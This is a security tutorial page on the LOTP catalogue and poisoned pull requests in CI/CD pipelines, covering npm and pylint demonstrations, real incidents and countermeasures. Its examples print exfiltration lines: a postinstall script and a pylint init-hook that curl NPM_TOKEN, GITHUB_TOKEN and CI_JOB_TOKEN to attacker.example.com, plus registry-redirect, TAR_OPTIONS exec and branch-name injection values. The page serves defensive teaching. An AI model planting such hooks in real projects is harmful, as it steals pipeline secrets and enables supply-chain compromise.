Skip to content
Français
Sync not enabled: your progress stays in this browser My learning
Select theme
Français

Living Off The Pipeline: when your DevOps tools become weapons

By updated

Improve this page

A simple npm install in your CI pipeline can exfiltrate all your secrets. A .pylintrc modified in a pull request can run arbitrary code on your runner. These tools are not malware, they are your everyday development tools. The LOTP (Living Off The Pipeline) project, created by BoostSecurity, is a catalogue listing some sixty tools that can be hijacked in CI/CD pipelines, 61 entries as of 2 October 2026. This guide presents the listed attack vectors, two concrete scenarios in a pull request context, and the countermeasures to put in place.

LOTP brings the GTFOBins (in French) approach to continuous integration. Where GTFOBins lists the system binaries that can be hijacked to escalate privileges, LOTP lists the build tools, linters and package managers whose documented features allow arbitrary code execution. Your pipelines install these tools and run them with their own rights: no malicious binary needs to be brought in.

What you will learn

  • Recognise the six mechanisms through which a development tool runs code
  • Assess the risk of a poisoned pull request depending on where it comes from and how the pipeline is configured
  • Reproduce two attacks, through an npm postinstall and a pylint init-hook, with their real outputs
  • Apply the countermeasures that really hold, measured, and rule out those that do not protect
  • SOCLE anchoring: this guide helps you understand the threat; its scenarios map to the threat model of the SOCLE baseline (in French)

Why this catalogue changes the game

The problem: trusted tools nobody questions

In a classic CI/CD pipeline, you run a succession of tools, linters, package managers, builders, giving them implicit trust. Nobody reads a pull request's eslint.config.js or Makefile with the same attention as a change to application code.

Yet these tools share one feature: they run code through their configuration files, their lifecycle scripts or their environment variables. An attacker who modifies one of these files in a pull request or a merge request gets code execution on the CI/CD runner, with access to the pipeline's secrets, tokens and artifacts.

This is the principle of Poisoned Pipeline Execution (PPE), risk CICD-SEC-4 of the OWASP Top 10 CI/CD: the attacker does not compromise the CI directly, they poison the files the CI runs blindly.

The 6 vectors listed by LOTP

How can a simple configuration file become dangerous? The LOTP catalogue has identified 6 mechanisms through which development tools run code. Understanding them is essential to know what is really at stake when your pipeline launches an npm install or a pylint src/.

  • Direct Code Execution: some tools are designed to run shell or a scripting language. That is their main role. When your pipeline runs make build, each target of the Makefile directly runs the shell commands it contains. If an attacker modifies the Makefile in a PR, they run whatever they want. Same principle for rake (Ruby) or just.

  • Config File Eval: a configuration file is often thought of as "just data". Yet for many JavaScript tools, the config file is executable code. When ESLint loads eslint.config.js, Node.js runs that file: it is not JSON being read, it is JavaScript running. Same for .prettierrc.js, build.gradle (Groovy) or Rakefile (Ruby).

  • Lifecycle Scripts: package managers automatically run scripts at key moments, before installation, after installation, before tests. It is a legitimate mechanism, to compile a native module after npm install for instance. The problem: these scripts fire without any explicit action from the developer. The attacker adds a postinstall to package.json and the pipeline runs it blindly.

  • Registry Redirect: instead of modifying the code, the attacker redirects the package manager to a registry they control. A .npmrc file with registry=https://evil.example.com/ is enough. For pip, it is --index-url or -i in requirements.txt. The pipeline then downloads malicious packages instead of the real ones, and installs them without a fuss.

  • Environment Poisoning: many tools change their behaviour based on environment variables. The classic example is BASH_ENV: in GitHub Actions, if a step writes to this variable, the file it names is sourced (executed in the current shell) before every following bash step. Another example: TAR_OPTIONS injects options into every tar call, including --checkpoint-action=exec=, which runs shell.

  • Input File Abuse: some tools handle input files dangerously when the attacker controls them. The classic example is zip-slip through tar: an archive holding paths outside the target directory overwrites files during extraction. With BuildKit, docker build can also exfiltrate secrets mounted through RUN --mount=type=secret, but only if secrets are injected into the build.

These 6 vectors are mechanisms: they describe how a tool can run code. To become dangerous, they need a delivery vector, the way the attacker gets their modified file to the pipeline. In the vast majority of cases, that vector is the pull request (or merge request).

The attack scenario: the poisoned pull request

All the vectors above converge on one exploitation scenario, Poisoned Pipeline Execution. The attacker does not break into your CI, they submit a contribution that your CI will run, with the job's rights.

Flow of a poisoned pull request: the attacker, from a fork or an internal account, opens a pull request modifying package.json, .pylintrc or Makefile; the pipeline checks out the PR and runs npm ci or pylint; the attacker's code runs through postinstall or init-hook and exfiltrates GITHUB_TOKEN, NPM_TOKEN or CI_JOB_TOKEN, while the job finishes normally.1. Attacker: fork or internal account2. Pull request: modifies package.json, .pylintrc, Makefile3. CI pipeline: PR checkout, npm ci or pylintAttacker's code runs: postinstall, init-hook4. Secrets exfiltrated: GITHUB_TOKEN, NPM_TOKEN, CI_JOB_TOKENThe job finishes normally
Source · SVG
Esc to close, + and − to zoom, scroll to move around. 100 %
  1. The attacker submits a PR/MR, from a fork (open source) or a compromised account (insider). The PR modifies a configuration file: package.json, .pylintrc, Makefile, eslint.config.js…
  2. The CI pipeline triggers, automatically on the pull_request or merge_request event. The runner clones the PR's code, modified files included.
  3. The tool runs the attacker's code: npm ci launches the postinstall, pylint evaluates the init-hook, ESLint loads the JS config. The malicious code runs with the same rights as the CI job.
  4. The secrets are exfiltrated: GITHUB_TOKEN, NPM_TOKEN, CI_JOB_TOKEN and every environment variable of the runner go to a server the attacker controls. The job finishes normally, and nothing in the logs signals the attack.

The impact depends on who submits the PR

Before diving into the examples, let us ask the question your security team will ask: "who would do this, and in what context?". The impact of a poisoned PR depends heavily on two factors: the origin of the contribution and the configuration of the pipeline. Here are the five scenarios to know.

PR from a fork (open source projects)

Risk: moderate. This is the typical case of an open source project. An external contributor forks your repository and submits a PR. On GitHub, the default protections limit the impact: the PR's GITHUB_TOKEN is read-only, and the repository secrets are not passed to a workflow triggered by a fork.

But the attacker still gets code execution on your runner. On a self-hosted runner, they can explore the internal network, reach shared caches and pivot to other resources. Even on a GitHub-hosted runner, they can tamper with the job's artifacts or exploit unprotected environment variables.

Same-repository PR (insider or compromised account)

Risk: critical. Here the attacker has write access to the repository, either because a developer's account was compromised (stolen credentials, hijacked session), or as a malicious insider. The PR comes from the same repository, not from a fork.

The difference is major: every secret configured in the workflow is reachable by the job, and the GITHUB_TOKEN carries the repository's permissions. The attacker can exfiltrate publishing tokens (npm, Docker Hub), deployment keys (AWS, GCP), and publish malicious artifacts under the project's identity.

Misconfigured pull_request_target

Risk: critical, this is a trap behind real incidents. On GitHub, the pull_request_target event runs the workflow in the context of the target branch (main), not of the source branch. As a result, even a PR from a fork has access to every secret of the repository.

The problem arises when the workflow runs actions/checkout on the PR's code:

# ❌ DANGEROUS: checkout of the PR's unverified code
# but with main's secrets
- uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v7.0.1
with:
ref: ${{ github.event.pull_request.head.sha }}

The attacker then gets code execution with main's secrets, the worst of both worlds. The Ultralytics incident of December 2024 started from a pull_request_target workflow of this kind, which handled the PR's code and branch name.

Dependabot auto-merge: the "confused deputy" attack

Risk: critical. This variant exploits pull_request_target more subtly than the unsafe checkout. The problem does not come from checking out code, but from auto-merge workflows that trust github.actor to identify Dependabot.

Many projects automate merging Dependabot PRs with a workflow like this one:

# ❌ DANGEROUS: github.actor can be manipulated
on: pull_request_target
jobs:
auto-merge:
runs-on: ubuntu-24.04
if: ${{ github.actor == 'dependabot[bot]' }}
steps:
- run: gh pr merge --auto -d -m

The trap: github.actor does not designate the PR's author, but the user who triggered the last event on the workflow. It is a Confused Deputy (CWE-441) attack: a trusted third party, here Dependabot, is manipulated into acting for the attacker.

Here is the attack scenario in 9 steps:

  1. Fork of the target repository: the attacker forks a repository that has an auto-merge workflow based on github.actor == 'dependabot[bot]'.

  2. Payload injection: the attacker adds their malicious code to the default branch of their fork.

  3. Dependabot activation: the attacker enables Dependabot on their fork. If an outdated dependency exists, which is often the case at fork time, Dependabot automatically creates an update branch.

  4. Dependabot creates its branch: that branch is based on the fork's default branch, which already holds the attacker's payload.

  5. PR to the victim repository: the attacker opens a PR from that Dependabot branch of their fork to the original repository.

  6. First attempt (failure): the auto-merge workflow triggers, but github.actor is the attacker, since they opened the PR. The if condition fails.

  7. @dependabot recreate: the attacker goes back to Dependabot's original PR in their fork and comments @dependabot recreate.

  8. Dependabot rebuilds its branch: Dependabot force-pushes its changes. This triggers the synchronize event on the victim repository's PR.

  9. Automatic merge: this time, github.actor is dependabot[bot], since Dependabot triggered the synchronize event. The if condition is met, and the malicious code is merged automatically.

The attack does not stop there. BoostSecurity researchers described two more techniques for injecting code through the branch name (github.event.pull_request.head.ref). If the workflow uses this variable in a run: without escaping it, the attacker can force Dependabot to push to a branch named $(id), which gives direct command execution. This actor confusion scenario is what allowed the theft, in December 2024, of the Docker Hub token of Kong's Ingress Controller.

Detection: the poutine scanner has a dedicated rule, confused_deputy_auto_merge, which automatically detects vulnerable workflows.

Prevention: never use github.actor or github.triggering_actor alone to check Dependabot's identity in a pull_request_target workflow. Use github.event.pull_request.user.login instead, outside synchronize events, or the dependabot/fetch-metadata action, which checks the identity more robustly.

Enterprise monorepo

Risk: high. In an organisation with a monorepo, there are fewer forks but many internal branches. Every developer can create a branch and open a PR. Permissions are often broad, and sometimes everyone has access to every secret of the workflow.

The risk is subtle: a junior developer can, without malicious intent, add a postinstall or modify a Makefile without realising the consequences. And if an account is compromised in a monorepo where 50 developers have write access, the attacker reaches the secrets without going through a fork.

The two examples that follow show the PPE scenario concretely, with two different vectors: npm lifecycle scripts and pylint configuration files.

Prerequisites

Both demonstrations were run on 2 October 2026 in disposable containers, which is the simplest way to reproduce them without installing anything on your workstation:

  • Docker or Podman, with the node:22 and python:3.12-slim images;
  • or, failing that, Node.js 22 with npm and Python 3.12 with pip, in a test VM.

Example 1: npm lifecycle scripts in a pull request

npm is a central vector in the LOTP catalogue, because every installation automatically runs the scripts defined in package.json. Among its many lifecycle scripts, preinstall, install and postinstall fire without any explicit action from whoever runs the installation.

The legitimate pipeline

Here is a classic GitHub Actions workflow for a Node.js project. It triggers on every pull request and runs the tests:

.github/workflows/ci.yml
name: CI
on:
pull_request:
branches: [main]
permissions:
contents: read
jobs:
test:
runs-on: ubuntu-24.04
steps:
- uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v7.0.1
with:
persist-credentials: false
- uses: actions/setup-node@820762786026740c76f36085b0efc47a31fe5020 # v7.0.0
with:
node-version: 22
- run: npm ci # Install the dependencies
- run: npm test # Run the tests

This workflow looks harmless. Yet the npm ci step automatically runs the lifecycle scripts defined in package.json, including those added by the pull request, with every environment variable of the job.

The poisoned pull request

A contributor submits a PR modifying package.json to add a postinstall script. On the surface, the PR adds a legitimate dependency; the line that matters gets lost in the diff:

package.json (PR diff)
{
"name": "my-project",
"version": "2.1.0",
"scripts": {
"test": "jest",
"build": "tsc",
"postinstall": "curl -s https://attacker.example.com/collect?token=$NPM_TOKEN&gh=$GITHUB_TOKEN"
},
"dependencies": {
"express": "^4.18.0"
}
}

What happens in the pipeline

Nothing in this sequence requires the attacker to reach the runner: the pipeline runs their code for them, with the secrets the job received. The four steps follow the normal cycle of a pull request.

  1. The PR is opened: the ci.yml workflow triggers automatically on the pull_request event.

  2. actions/checkout fetches the PR's code, including the modified package.json holding the malicious postinstall.

  3. npm ci runs on the runner: npm detects the postinstall script and runs it automatically after installing the dependencies. The curl sends the NPM_TOKEN and GITHUB_TOKEN tokens to the attacker's server, if they are present in the job's environment.

  4. The attacker collects the secrets: with an NPM_TOKEN, they can publish malicious packages under the project's identity; with a write GITHUB_TOKEN, the case of an internal PR, they act on the repository.

Reproduce it in your lab

  1. Create a package.json simulating the attack

    package.json
    {
    "name": "lotp-npm-demo",
    "version": "1.0.0",
    "scripts": {
    "postinstall": "echo \"[EXFIL] GITHUB_TOKEN=${GITHUB_TOKEN:-non-defini} | user=$(whoami) | host=$(hostname)\""
    }
    }
  2. Simulate the pipeline run

    The container receives a fake token as an environment variable, like a CI job:

    Terminal window
    docker run --rm -h runner-demo -e GITHUB_TOKEN=ghp_simulation1234567890 \
    -v "$PWD:/w" -w /w \
    node:22.20.0-bookworm-slim@sha256:b21fe589dfbe5cc39365d0544b9be3f1f33f55f3c86c87a76ff65a02f8f5848e npm install

    Output obtained with npm 10.9.3:

    > lotp-npm-demo@1.0.0 postinstall
    > echo "[EXFIL] GITHUB_TOKEN=${GITHUB_TOKEN:-non-defini} | user=$(whoami) | host=$(hostname)"
    [EXFIL] GITHUB_TOKEN=ghp_simulation1234567890 | user=root | host=runner-demo
    up to date, audited 1 package in 239ms
  3. See the impact, then the defence

    The postinstall script read the token from the job's environment. Run again with npm install --ignore-scripts, the same command no longer prints any [EXFIL] line: the script does not run. In a real pipeline, the attacker replaces the echo with a curl, and the exfiltration does not fail the job.

Example 2: pylint init-hook in a merge request

pylint is a Python linter widely used in CI/CD pipelines. The LOTP catalogue documents two configuration options that run arbitrary Python: init-hook, at startup, and evaluation, at the end of the analysis. The configuration can sit in a .pylintrc file at the root of the project, a file nobody watches in code review.

The legitimate pipeline

This GitLab CI job runs pylint on every merge request. The linter automatically reads the .pylintrc it finds in the current directory, so the one the merge request brings with it.

.gitlab-ci.yml
lint:
stage: test
image: python:3.12-slim@sha256:dddfd7e07f9d15aeeca61529320492139d21cac7f0070c00609243e51e4e0016
script:
- pip install pylint==4.0.2
- pylint src/
rules:
- if: $CI_MERGE_REQUEST_IID

The poisoned merge request

A contributor submits an MR adding a .pylintrc file "to standardise the code style". The commit message is harmless: chore: add pylint configuration.

.pylintrc (added by the MR)
[MAIN]
init-hook=__import__("os").system("curl -s https://attacker.example.com/collect?token=" + __import__("os").getenv("CI_JOB_TOKEN","") + "&project=" + __import__("os").getenv("CI_PROJECT_PATH",""))
[FORMAT]
max-line-length=120
indent-string=' '

The init-hook field is buried among legitimate formatting options. In code review, attention goes to max-line-length and indent-string, not to the init-hook line holding obfuscated Python. The former section name, [MASTER], still works: pylint 4.0.2 runs the hook under either.

What happens in the pipeline

The sequence is the same as with npm, with one difference: it is a linter, a tool reputed to be passive, that runs the code. No test breaks, and the score shown at the end reassures rather than alarms.

  1. The MR is opened: the lint job triggers, since the $CI_MERGE_REQUEST_IID rule is true.

  2. The runner clones the MR's code, including the added .pylintrc.

  3. pylint src/ runs: at startup, pylint reads .pylintrc and runs the Python code of init-hook. The curl sends the CI_JOB_TOKEN and the CI_PROJECT_PATH to the attacker's server.

  4. The job finishes normally: pylint carries on with its analysis and prints a score. Nothing in the logs signals the exfiltration. During the job, GitLab's CI_JOB_TOKEN gives access to the registries and projects its scope allows.

Reproduce it in your lab

  1. Create a .pylintrc simulating the attack

    .pylintrc
    [MAIN]
    init-hook=import os; print(f"[EXFIL] CI_JOB_TOKEN={os.getenv('CI_JOB_TOKEN', 'non-defini')} | user={os.getenv('USER', 'unknown')}")
    [FORMAT]
    max-line-length=120
  2. Create a minimal Python file to analyse

    app.py
    """Demo application."""
    def hello():
    """Print a message."""
    print("Hello, World!")
  3. Simulate the pipeline run

    Terminal window
    docker run --rm -v "$PWD:/w" -w /w \
    python:3.12-slim@sha256:dddfd7e07f9d15aeeca61529320492139d21cac7f0070c00609243e51e4e0016 sh -c \
    'pip install -q pylint==4.0.2 && USER=runner CI_JOB_TOKEN=glcbt-simulation-1234567890 pylint app.py'

    Output obtained with pylint 4.0.2:

    [EXFIL] CI_JOB_TOKEN=glcbt-simulation-1234567890 | user=runner
    ------------------------------------
    Your code has been rated at 10.00/10
  4. See the impact

    The Python code of init-hook ran before the analysis. The job ends with a 10/10 score, and nothing indicates that an exfiltration took place. The evaluation field is just as vulnerable: it accepts a Python expression evaluated at the end of the analysis.

Real incidents (2024-2025)

All of the above may seem theoretical. Who would really poison a package.json in a pull request? The answer: plenty of people. The techniques listed by LOTP are exploited regularly, including against major open source projects. Here are four recent incidents that show how real these attacks are.

DateIncidentVector exploited
Dec. 2024Ultralytics: a pull_request_target workflow hijacked through injection in the branch name, then GitHub Actions cache poisoning, led to versions carrying a cryptocurrency miner being published on PyPIPPE through pull_request_target
Dec. 2024Kong Ingress Controller: unauthorised build of version 3.4.0, published with a Docker Hub token stolen through a Dependabot actor confusionConfused deputy auto-merge
March 2025tj-actions/changed-files: compromise of a GitHub action used by more than 23,000 repositories, which printed CI secrets in the logsModified action (supply chain)
Sept. and Nov. 2025Shai-Hulud: an npm worm that steals developers' tokens and republishes itself in their packages, through a postinstall, then, in its second wave, through a preinstall that also registers the machine as a self-hosted runnernpm lifecycle scripts

These incidents show attackers exploiting exactly the mechanisms described above: npm lifecycle scripts, workflows that run unverified code, and modified GitHub Actions. The common thread? The malicious change blended into something that looked legitimate: a workflow, a dependency script, a trusted action.

The listed tools, category by category

Now that you understand the 6 exploitation vectors, let us see which concrete tools are affected. The LOTP catalogue lists 61 of them as of 2 October 2026. The tables below present the most common ones in DevOps pipelines, the ones you probably use every day.

For each tool, you get the vector exploited, the files to watch in a PR/MR, and the main risk. The goal is to give you a reading checklist: when you review a pull request, knowing which files deserve particular attention.

Package managers

Package managers are particularly exposed tools, because they run systematically in a CI/CD pipeline. Every project goes through an npm install, a pip install or a bundle install. Since these commands are considered harmless, "we are just installing dependencies", nobody questions what really happens during the installation.

Yet most of these tools allow running code at installation time (lifecycle scripts) or redirecting downloads to a registry an attacker controls (registry redirect). The guide on package manager attacks details five techniques of this kind, registry redirection among them.

ToolVectorFiles involvedMain risk
npmLifecycle scripts, env-varpackage.json, .npmrcpostinstall runs shell, .npmrc redirects the registry
pipInput-file, eval-pyrequirements.txt, setup.py, pyproject.tomlThe Python build chain (sdist) can run code at installation; -i redirects the index
yarnConfig-file, eval-js.yarnrc.ymlyarnPath runs an arbitrary local JS file
poetryInput-file, eval-pypyproject.toml, setup.pyMalicious sources, the build chain can run code
cargoConfig-file, eval-shCargo.toml, build.rsbuild.rs runs automatically at compile time
bundlerConfig-file, eval-shGemfile, .bundle/configGemfile is executable Ruby, .bundle/config redirects the registry
uvInput-file, eval-pyrequirements.txt, setup.py, pyproject.tomlSame vectors as pip (Python build chain)
composerConfig-file, eval-shcomposer.jsonPHP scripts run at installation

Build tools

Build tools are dangerous by nature: their role is to run commands to compile, package or publish your code. A Makefile is literally a list of shell commands, a build.gradle a complete Groovy program. What makes them risky in a PR/MR is that the build file is part of the repository, and a contributor modifies it as easily as a source file.

ToolVectorFiles involvedMain risk
makeDirect code executionMakefileEach target runs shell directly
gradleConfig-file, eval-groovy/kotlinbuild.gradle(.kts), settings.gradle(.kts)Groovy or Kotlin code run when the project loads
mavenConfig-file, env-varpom.xmlexec-maven-plugin and MAVEN_ARGS
dockerConfig-file, eval-shDockerfileWith BuildKit, exfiltration of secrets mounted through RUN --mount=type=secret
goreleaserConfig-file, eval-sh.goreleaser.yamlbefore and after hooks that run shell
justDirect code executionjustfileDirect execution of shell commands
rakeDirect code executionRakefileExecutable Ruby, tasks loaded automatically
msbuildConfig-file, input-file*.csproj, Directory.Build.props<Exec> and automatic import of Directory.Build.props

Linters and formatters

This is a surprising category. It is hard to picture a linter, a tool that checks code quality, as an attack vector. Yet several JavaScript and Python linters run their configuration file instead of merely reading it.

Take ESLint: the eslint.config.js file is not a configuration file in the classic sense, like JSON or YAML. It is a JavaScript module that Node.js runs. An attacker who adds process.env or require('child_process') to it gets code execution on your runner, and these files are rarely inspected in review.

ToolVectorFiles involvedMain risk
eslintConfig-file, eval-jseslint.config.{js,mjs,cjs}JS config run by Node.js on load
prettierConfig-file, eval-js.prettierrc.js, prettier.config.jsJS config run by Node.js
pylintConfig-file, eval-py.pylintrc, pylintrcinit-hook and evaluation run Python
flake8Config-file, eval-py.flake8, tox.inilocal-plugins loads a Python module
mypyConfig-file, eval-shmypy.ini, .mypy.iniplugins loads a local Python module
rubocopConfig-file, eval-sh.rubocop.ymlERB and require load Ruby
stylelintConfig-file, eval-js.stylelintrc.{js,cjs,mjs}Custom rules and plugins load JS
checkovConfig-file, eval-py.checkov.ymlexternal-checks-dir runs Python
trivyConfig-filetrivy.yamlGo templates (sprig) that exfiltrate data

Shells and utilities

These tools are not development-specific: you find them on any Linux system. What makes them exploitable are little-known features, environment variables that silently change their behaviour, or obscure options that allow running code.

The classic example is BASH_ENV: this variable holds a file name, and bash sources that file (executes it in the current shell) when a non-interactive shell starts. Two cases escape it: bash in POSIX mode, and bash invoked under the name sh (dash does not read the variable at all). In GitHub Actions, with the default bash shell, every run: step starts such a shell: poisoning BASH_ENV means injecting code into every following step.

ToolVectorFiles involvedMain risk
bashEnv-var, config-file.bashrc, .bash_profilefile named by BASH_ENV sourced when a non-interactive bash starts (not in POSIX mode or as sh)
tarInput-file, env-var*.tar.gzTAR_OPTIONS --checkpoint-action=exec= and zip-slip
pythonEnv-var-PYTHONWARNINGS and BROWSER allow arbitrary execution
javaEnv-var-_JAVA_OPTIONS and -XX:OnOutOfMemoryError allow RCE
sedConfig-file, eval-sh*.sedGNU sed's e command runs shell
wgetEnv-var, config-file.wgetrcuse_askpass runs an arbitrary script

Hooks and CI-specific tools

The last category covers tools that interact directly with the CI/CD platform. They are often automation mechanisms, pre-commit hooks, composite GitHub actions or MegaLinter, which by design have broad access to the runner and the secrets. A .pre-commit-config.yaml file added in a PR can run any shell command if a hook uses language: system.

ToolVectorFiles involvedMain risk
pre-commitConfig-file, eval-sh.pre-commit-config.yamllanguage: system hooks that run arbitrary shell
actions/github-scriptInjection, eval-js-${{ }} injectable in the inputs
Local GitHub actionConfig-file, eval-shaction.ymlThe PR provides a local composite action.yml
MegaLinterConfig-file, eval-sh.mega-linter.ymlPRE_COMMANDS, POST_COMMANDS and the Docker socket as root
terraformInput-file, eval-shHCL files, stateexternal data source, local-exec, state poisoning

Protecting yourself against the listed techniques

The countermeasures below go from the most structural, to put in place first, to the most granular. The defence that matters is not a command-line option, it is a pipeline architecture that separates trusted code from unverified code.

A core countermeasure against PPE is to split your pipelines into two trust levels. A pull request's code has not been validated yet: it should therefore never reach the secrets of production, nor any write permissions.

Two separate pipelines: the pull request, unverified code, feeds an untrusted pipeline with no secret, read-only, no publishing, --ignore-scripts and isolated caches, which only runs tests and lint; the push to main or a tag, approved code, feeds a trusted pipeline with ephemeral OIDC tokens and an environment requiring approval, which builds, publishes and deploys.Pull request: unverified codeUntrusted pipeline: no secret, contents read, no publishing,--ignore-scripts, isolated cachesTests and lint onlyPush to main or tag: approved codeTrusted pipeline: ephemeral OIDC tokens, environment withapprovalBuild, publish, deploy
Source · SVG
Esc to close, + and − to zoom, scroll to move around. 100 %

This pipeline triggers on every pull request or merge request. It runs tests and linters on unverified code:

  • No secret injected into the job (no NPM_TOKEN, no CI_JOB_TOKEN with broad rights)
  • No write permission (permissions: reduced to contents: read in GitHub Actions)
  • No publishing of artifacts or images to registries
  • Isolated caches per PR (key including github.event.pull_request.number)
  • --ignore-scripts enabled by default
.github/workflows/ci-untrusted.yml
name: CI (untrusted)
on:
pull_request:
branches: [main]
permissions:
contents: read
jobs:
test:
runs-on: ubuntu-24.04
steps:
- uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v7.0.1
with:
persist-credentials: false
- uses: actions/setup-node@820762786026740c76f36085b0efc47a31fe5020 # v7.0.0
with:
node-version: 22
- run: npm ci --ignore-scripts
- run: npm test

Protecting critical files with CODEOWNERS

The PPE attack relies on modifying configuration files in a PR. The defence: require a specific approval when these files change. On GitHub, the CODEOWNERS file defines who must approve changes, path by path, provided branch protection requires code owner review:

.github/CODEOWNERS
# Security: DevSecOps approval required for pipeline and config files
.github/workflows/ @org/devsecops-team
.gitlab-ci.yml @org/devsecops-team
package.json @org/devsecops-team
.npmrc @org/devsecops-team
.pylintrc @org/devsecops-team
pylintrc @org/devsecops-team
Makefile @org/devsecops-team
eslint.config.* @org/devsecops-team
.prettierrc.* @org/devsecops-team
.pre-commit-config.yaml @org/devsecops-team
setup.py @org/devsecops-team
pyproject.toml @org/devsecops-team
requirements*.txt @org/devsecops-team

GitLab reads the same CODEOWNERS file and makes code owner approval mandatory on protected branches, in the Premium or Ultimate tier. The Source code governance lesson details this setup.

Disabling lifecycle scripts, with an allow-list

Disabling every installation script closes the lifecycle-script vector in one go, but breaks the native modules that need one. The good practice is therefore to switch them all off, then explicitly rebuild only the reviewed packages.

  1. Disable every script by default

    Terminal window
    npm ci --ignore-scripts
    yarn install --ignore-scripts
  2. Rebuild only the allowed native modules

    Some projects need legitimate compilation scripts (native modules such as node-gyp, sharp, and so on). Rather than re-enabling every script, allow only those that are needed:

    Terminal window
    # Rebuild a specific native module after review
    npm rebuild sharp
    npm rebuild bcrypt

    Some package managers already offer a native allow-list: Bun, for instance, only runs the scripts of the packages listed in trustedDependencies in package.json.

Locking package indexes

Never trust the repository's .npmrc or requirements.txt to define the registry, but do not believe a command-line option neutralises them either: precedence depends on the tool, and it is surprising.

With pip, measured on pip 25.0.1: a requirements.txt starting with -i https://evil-registry.example.com/simple/, installed with -i https://pypi.org/simple/ on the command line, prints Looking in indexes: https://evil-registry.example.com/simple/. The file wins. With npm, it is the opposite: the command-line flag and the npm_config_registry variable take precedence over the repository's .npmrc, whereas npm config set registry writes into the user's file, which the project's .npmrc overrides.

Terminal window
# pip: cut off remote indexes and install from a verified mirror
pip install --no-index --find-links /opt/wheels -r requirements.txt
# npm: the command-line flag wins over the repository's .npmrc
npm ci --ignore-scripts --registry=https://registry.npmjs.org/

--no-index is one of the few options the dependency file cannot contradict. The OWASP Top 10 CI/CD lesson adds rejecting files that redirect the index, and Securing dependencies adds hash locking.

Forcing and isolating linter configuration

Pointing linters at a verified configuration is not always enough: you also need to make sure the linter itself and its plugins were not brought in by the PR. Here is the full posture, starting with the enforced configuration:

Terminal window
# ESLint: point at a verified config, versioned separately
eslint --config ./ci-config/eslint.config.js src/
# pylint: ignore the repository's configs (only --rcfile achieves it)
pylint --rcfile=/dev/null src/

Three additions strengthen this posture:

  • Install linters from main, not from the PR. Ideally, run linters in a container or venv built from the target branch: the attacker can then inject neither the linter nor a modified plugin.
  • Block loading of local plugins when the tool allows it, with eslint --no-eslintrc on older ESLint versions for instance.
  • Do not rely on environment variables to neutralise a configuration: PYLINTRC=/dev/null does not mask the repository's .pylintrc, and a variable such as BASH_ENV is handled by an allow-list of the variables passed to jobs, detailed in the guide on environment variable poisoning.

Scanning pipelines with dedicated tools

Specialised scanners automatically detect PPE vectors in your workflows, including those you would not have spotted in manual review. The following three complement each other, and run in a few seconds on a repository:

  • poutine: static analysis of GitHub Actions workflows, which detects PPE vectors, including the tools listed by LOTP;
  • zizmor: vulnerability detection in workflows, ${{ }} injections and unsafe checkouts;
  • OpenSSF Scorecard: security maturity assessment of an open source project, including its Dangerous-Workflow check.

Isolating CI/CD runners

Runner isolation is your last line of defence. If, despite everything, malicious code runs, you need to limit what it can do and prevent any persistence on the machine:

  • Ephemeral runners, destroyed after each job. On GitHub Actions, GitHub-hosted runners already are; for self-hosted ones, configure --ephemeral mode.
  • Clean checkout for every job, with no reused workspace: keep clean: true, the default of actions/checkout.
  • Scoped caches: the cache key includes the repository, the workflow and the branch. Never share a cache between a fork and the main repository.
  • Least privilege on tokens: declare permissions: explicitly in every GitHub Actions workflow. In GitLab CI, use protected variables and environments.

Key points

  • LOTP is a catalogue, not an attack. It lists some sixty standard development tools whose legitimate features allow code execution in CI/CD pipelines: the GTFOBins of CI/CD.
  • The main vector is the pull request / merge request: the attacker modifies a configuration file (package.json, .pylintrc, Makefile...) and the pipeline runs the code without checking.
  • Code review must include configuration files, not just application code. A modified .pylintrc is as dangerous as a shell script.
  • --ignore-scripts and --rcfile=/dev/null are your first lines of defence in npm and pylint pipelines; PYLINTRC=/dev/null and a pip -i on the command line do not protect you.
  • Split your pipelines: the PR runs with no secret and no write access, and publishing only happens after the merge, with ephemeral tokens.
  • Scan your pipelines with poutine, zizmor and Scorecard to detect exploitable vectors automatically.
  • Back to the threat model: the poisoned pull request is a vector of the SOCLE threat model (in French), which says which requirements cover it.

Knowledge check

Check that the essentials of this lesson are in place. The questions only cover what has just been explained here.

Knowledge check

Check what you have learned with this interactive quiz

8 questions
8 min
70% to pass

How it works

  • The timer starts when you click Start
  • Multiple choice, true/false and short answer questions
  • You can move between questions
  • Detailed results are shown at the end

Starts the quiz and the timer